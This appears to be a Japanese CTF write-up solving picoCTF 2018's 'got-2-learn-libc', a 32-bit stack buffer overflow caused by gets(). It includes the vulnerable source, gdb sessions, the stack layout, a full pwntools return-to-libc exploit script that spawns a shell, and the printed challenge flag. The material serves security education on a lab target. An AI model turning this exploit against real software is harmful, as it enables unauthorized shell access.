picoCTF 2018: got-2-learn-libc
問題
問題文
This program gives you the address of some system calls. Can you get a shell? You can find the program in /problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33 on the shell server. Source.
Hints
try returning to systems calls to leak information
don't forget you can always return back to main()
問題概要
解答例
指針
- return-to-libc
解説
与えられたソースコードは以下の通り.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 148 #define FLAGSIZE 128 char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */ void vuln(){ char buf[BUFSIZE]; puts("Enter a string:"); gets(buf); puts(buf); puts("Thanks! Exiting now..."); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Here are some useful addresses:\n"); printf("puts: %p\n", puts); printf("fflush %p\n", fflush); printf("read: %p\n", read); printf("write: %p\n", write); printf("useful_string: %p\n", useful_string); printf("\n"); vuln(); return 0; }
実際にプログラムを実行してみる.
kira924age@pico-2018-shell-2:/problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33$ ls flag.txt vuln vuln.c kira924age@pico-2018-shell-2:/problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33$ ./vuln Here are some useful addresses: puts: 0xf7607140 fflush 0xf7605330 read: 0xf767c350 write: 0xf767c3c0 useful_string: 0x565fa030 Enter a string: hoge hoge Thanks! Exiting now... kira924age@pico-2018-shell-2:/problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33$ ./vuln Here are some useful addresses: puts: 0xf764f140 fflush 0xf764d330 read: 0xf76c4350 write: 0xf76c43c0 useful_string: 0x56563030 Enter a string: hoge hoge Thanks! Exiting now... kira924age@pico-2018-shell-2:/problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33$ ./vuln Here are some useful addresses: puts: 0xf7596140 fflush 0xf7594330 read: 0xf760b350 write: 0xf760b3c0 useful_string: 0x56618030 Enter a string: aaaa aaaa Thanks! Exiting now...
出力されるアドレスの値は毎回異なったものであった. これは ASLR (Address Space Layout Randomization) と呼ばれるアドレスをランダム化するセキュリティ機構が有効になっているためである.
関数 vuln() 内で gets() 関数を使っているので, 自明な Stack Buffer Overflow の脆弱性がある. stack にうまく値を積んで,
system("/bin/sh");
を実行し shell の制御を奪うことを目指す.
ここで必要な情報は 共有ライブラリである libc 内の system() 関数のアドレスと文字列 /bin/sh
のアドレスである.
後者はすでに与えられている.
system() 関数のアドレスは ASLR により毎回異なる値となるが, 他の libc 内の関数と system() 関数とのアドレス値の差は常に同じとなるため, 事前にその差分を求めれば system() 関数のアドレスを計算により求めることができる.
gdb を用いて, ともに libc 内の関数である puts() と system() のアドレス値の差分を求める.
kira924age@pico-2018-shell-2:/problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33$ gdb -q ./vuln Reading symbols from ./vuln...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x812 Starting program: /problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33/vuln Temporary breakpoint 1, 0x56630812 in main () (gdb) print &puts $1 = (<text variable, no debug info> *) 0xf7588140 <puts> (gdb) print &system $2 = (<text variable, no debug info> *) 0xf7563940 <system>
(system のアドレス) - (puts のアドレス) を計算する
$ python -c "print 0xf7563940-0xf7588140" -149504
つぎに, Stack にうまく値を積む方法を考える. これは buffer overflow 2 と同様に Call Stack の状態をトレースすれば簡単にわかる.
kira924age@pico-2018-shell-2:/problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33$ gdb -q ./vuln Reading symbols from ./vuln...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) start Temporary breakpoint 1 at 0x812 Starting program: /problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33/vuln Temporary breakpoint 1, 0x5657f812 in main () (gdb) disas vuln Dump of assembler code for function vuln: 0x5657f7a0 <+0>: push ebp 0x5657f7a1 <+1>: mov ebp,esp 0x5657f7a3 <+3>: push ebx 0x5657f7a4 <+4>: sub esp,0xa4 0x5657f7aa <+10>: call 0x5657f670 <__x86.get_pc_thunk.bx> 0x5657f7af <+15>: add ebx,0x1851 0x5657f7b5 <+21>: sub esp,0xc 0x5657f7b8 <+24>: lea eax,[ebx-0x1670] 0x5657f7be <+30>: push eax 0x5657f7bf <+31>: call 0x5657f618 0x5657f7c4 <+36>: add esp,0x10 0x5657f7c7 <+39>: sub esp,0xc 0x5657f7ca <+42>: lea eax,[ebp-0x9c] 0x5657f7d0 <+48>: push eax 0x5657f7d1 <+49>: call 0x5657f5b0 <gets@plt> 0x5657f7d6 <+54>: add esp,0x10 0x5657f7d9 <+57>: sub esp,0xc 0x5657f7dc <+60>: lea eax,[ebp-0x9c] 0x5657f7e2 <+66>: push eax 0x5657f7e3 <+67>: call 0x5657f618 0x5657f7e8 <+72>: add esp,0x10 0x5657f7eb <+75>: sub esp,0xc 0x5657f7ee <+78>: lea eax,[ebx-0x1660] 0x5657f7f4 <+84>: push eax 0x5657f7f5 <+85>: call 0x5657f618 0x5657f7fa <+90>: add esp,0x10 0x5657f7fd <+93>: nop 0x5657f7fe <+94>: mov ebx,DWORD PTR [ebp-0x4] 0x5657f801 <+97>: leave 0x5657f802 <+98>: ret End of assembler dump. (gdb)
以下の部分より, 変数 buf の先頭アドレスが [ebp-0x9c] だとわかる.
0x5657f7ca <+42>: lea eax,[ebp-0x9c] 0x5657f7d0 <+48>: push eax 0x5657f7d1 <+49>: call 0x5657f5b0 <gets@plt>
したがって Call Stack の状態は以下のようになっている.
(lower address) | top of buf | <= [ebp-0x9c] .... | saved ebp | | return addr | (higher address)
このとき, return addr が system() のアドレスになるようにすればいい.
具体的には, buf の先頭アドレス, [ebp-0x9c] から [ebp-0x01] までの 0x9c Bytes + 4 Bytes (saved ebp が格納されているレジスタ) を適当な文字で埋め, その直後に system() のアドレス値を置く.
buf = 'A' * (0x9c+4) buf += system_addr
次に vuln() の return address を system() のアドレスにし, vuln() の ret 命令が実行され, system() へ jmp したときのことを考える.
このとき Call Stack の状態は以下のようになっているはずである.
(lower address) | top of buf | <= [ebp-0x9c] .... | old ebp | | saved ebp | ( <= [old return addr] ) | return addr | | param 1 | (higher address)
param 1 にあたる部分を /bin/sh
(useful_string) のアドレスになるようにすればいい.
したがって exploit は以下のように書ける.
#!/usr/bin/env python2 from pwn import * data = process('./vuln') addr_diff = -149504 print data.recvuntil(':\n') data2 = data.recvuntil(':\n') print data2 data2 = data2.split('\n') puts_addr = int(data2[1].split(': ')[1][2:], 16) useful_str_addr = int(data2[5].split(': ')[1][2:], 16) system_addr = puts_addr + addr_diff buf = 'A' * (0x9c+4) buf += p32(system_addr) buf += 'A'*4 buf += p32(useful_str_addr) data.sendline(buf) data.interactive()
- 実行結果
$ python ~/exploit.py [+] Starting local process './vuln': pid 12930 Here are some useful addresses: puts: 0xf75a3140 fflush 0xf75a1330 read: 0xf7618350 write: 0xf76183c0 useful_string: 0x565d5030 Enter a string: [*] Switching to interactive mode AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@▒W▒AAAA0P]V Thanks! Exiting now... $ ls flag.txt vuln vuln.c $ cat flag.txt picoCTF{syc4al1s_4rE_uS3fUl_6319ec91}